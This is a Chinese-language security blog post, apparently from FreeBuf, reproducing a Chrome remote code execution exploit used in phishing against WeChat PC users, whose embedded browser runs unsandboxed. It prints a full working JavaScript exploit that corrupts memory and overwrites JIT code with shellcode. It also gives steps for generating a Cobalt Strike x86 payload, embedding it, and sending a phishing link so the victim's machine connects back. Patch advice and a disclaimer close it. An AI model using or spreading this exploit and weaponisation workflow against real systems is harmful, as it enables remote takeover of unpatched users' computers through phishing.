0x00 前言
近日Chrome爆出0day在安全圈內掀起了一大波浪潮,恰好又正處攻防演練期間,這讓紅藍雙方之間的對抗凸顯的異常精彩。隨后各大安全論壇、公眾號也隨即更新了此次漏洞的利用過程,筆者秉承著學習的心態,復現了此次Chrome-0day引發的微信釣魚事件。其中如有紕漏,請各位大佬留言指正。
0x01 漏洞利用條件
1.本次漏洞是由Chrome瀏覽器引起的遠程代碼執行,由于Chrome本身是存在沙箱的,想要利用此次漏洞,條件還是比較苛刻的。如果想要復現需提前關閉Chrome中沙箱(-no-sandbox)。
CMD下運行以下代碼,關閉沙箱: C:\Users\XXX\AppData\Local\Google\Chrome\Application\chrome.exe -no-sandbox
2.由于微信中默認使用Chrome內核,且沙箱處于關閉狀態,如下圖所示。所以攻擊者可以使用微信發送精心偽造的釣魚鏈接,誘使用戶點擊從而觸發隱藏在鏈接中的shellcode。
0x02 漏洞利用過程
1.利用網上流傳的Poc并替換shellcode代碼實現CS遠程上線。
注意:Poc使用要與微信版本對應,否則無法上線。
Poc如下:
ENABLE_LOG = true; IN_WORKER = true; // run calc and hang in a loop var shellcode = [ ];//shellcode替換成自己的 注意是x86的 function print(data) { } var not_optimised_out = 0; var target_function = (function (value) { if (value == 0xdecaf0) { not_optimised_out += 1; } not_optimised_out += 1; not_optimised_out |= 0xff; not_optimised_out *= 12; }); for (var i = 0; i < 0x10000; ++i) { target_function(i); } var g_array; var tDerivedNCount = 17 * 87481 - 8; var tDerivedNDepth = 19 * 19; function cb(flag) { if (flag == true) { return; } g_array = new Array(0); g_array[0] = 0x1dbabe * 2; return 'c01db33f'; } function gc() { for (var i = 0; i < 0x10000; ++i) { new String(); } } function oobAccess() { var this_ = this; this.buffer = null; this.buffer_view = null; this.page_buffer = null; this.page_view = null; this.prevent_opt = []; var kSlotOffset = 0x1f; var kBackingStoreOffset = 0xf; class LeakArrayBuffer extends ArrayBuffer { constructor() { super(0x1000); this.slot = this; } } this.page_buffer = new LeakArrayBuffer(); this.page_view = new DataView(this.page_buffer); new RegExp({ toString: function () { return 'a' } }); cb(true); class DerivedBase extends RegExp { constructor() { // var array = null; super( // at this point, the 4-byte allocation for the JSRegExp `this` object // has just happened. { toString: cb }, 'g' // now the runtime JSRegExp constructor is called, corrupting the // JSArray. ); // this allocation will now directly follow the FixedArray allocation // made for `this.data`, which is where `array.elements` points to. this_.buffer = new ArrayBuffer(0x80); g_array[8] = this_.page_buffer; } } // try{ var derived_n = eval(`(function derived_n(i) { if (i == 0) { return DerivedBase; } class DerivedN extends derived_n(i-1) { constructor() { super(); return; ${"this.a=0;".repeat(tDerivedNCount)} } } return DerivedN; })`); gc(); new (derived_n(tDerivedNDepth))(); this.buffer_view = new DataView(this.buffer); this.leakPtr = function (obj) { this.page_buffer.slot = obj; return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt); } this.setPtr = function (addr) { this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt); } this.read32 = function (addr) { this.setPtr(addr); return this.page_view.getUint32(0, true, ...this.prevent_opt); } this.write32 = function (addr, value) { this.setPtr(addr); this.page_view.setUint32(0, value, true, ...this.prevent_opt); } this.write8 = function (addr, value) { this.setPtr(addr); this.page_view.setUint8(0, value, ...this.prevent_opt); } this.setBytes = function (addr, content) { for (var i = 0; i < content.length; i++) { this.write8(addr + i, content[i]); } } return this; } function trigger() { var oob = oobAccess(); var func_ptr = oob.leakPtr(target_function); print('[*] target_function at 0x' + func_ptr.toString(16)); var kCodeInsOffset = 0x1b; var code_addr = oob.read32(func_ptr + kCodeInsOffset); print('[*] code_addr at 0x' + code_addr.toString(16)); oob.setBytes(code_addr, shellcode); target_function(0); } try{ print("start running"); trigger(); }catch(e){ print(e); }
2.CS創建監聽器
監聽器創建成功
3.CS生成C格式Paylaod
這里不勾選X64,因為微信PC端處理器為X86。
將生成的C文件,替換到上述shellcode數組中,如下圖所示:
4.本地搭建測試環境,微信點擊鏈接CS上線
0x03 修復建議
1.Chrome官方已經對本次漏洞進行修補,請升級到最新的Chrome版本。
2.微信同時也發布了3.2.1.143最新版本,請大家及時下載更新。
0x04 總結
歸根結底本次漏洞利用了Chrome瀏覽器遠程代碼執行,理論上來講,所有使用Chrome內核,且關閉沙箱的軟件都有可能被攻擊者利用。筆者在復現的過程中,看到了某實驗室寫到的一篇文章利用appscan掃描器(使用Chrome內核進行爬取)CS上線,有興趣的同學可以自行搜索學習。
本次漏洞復現較為簡單,筆者本著學習的心態復現了此漏洞,希望與大家共同探討學習,如復現過程中遇到任何問題,可以在評論區下方留言,筆者會和大家一起探討解決。朋友們我們下次再見!
聲明:由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。
來源:FreeBuf.COM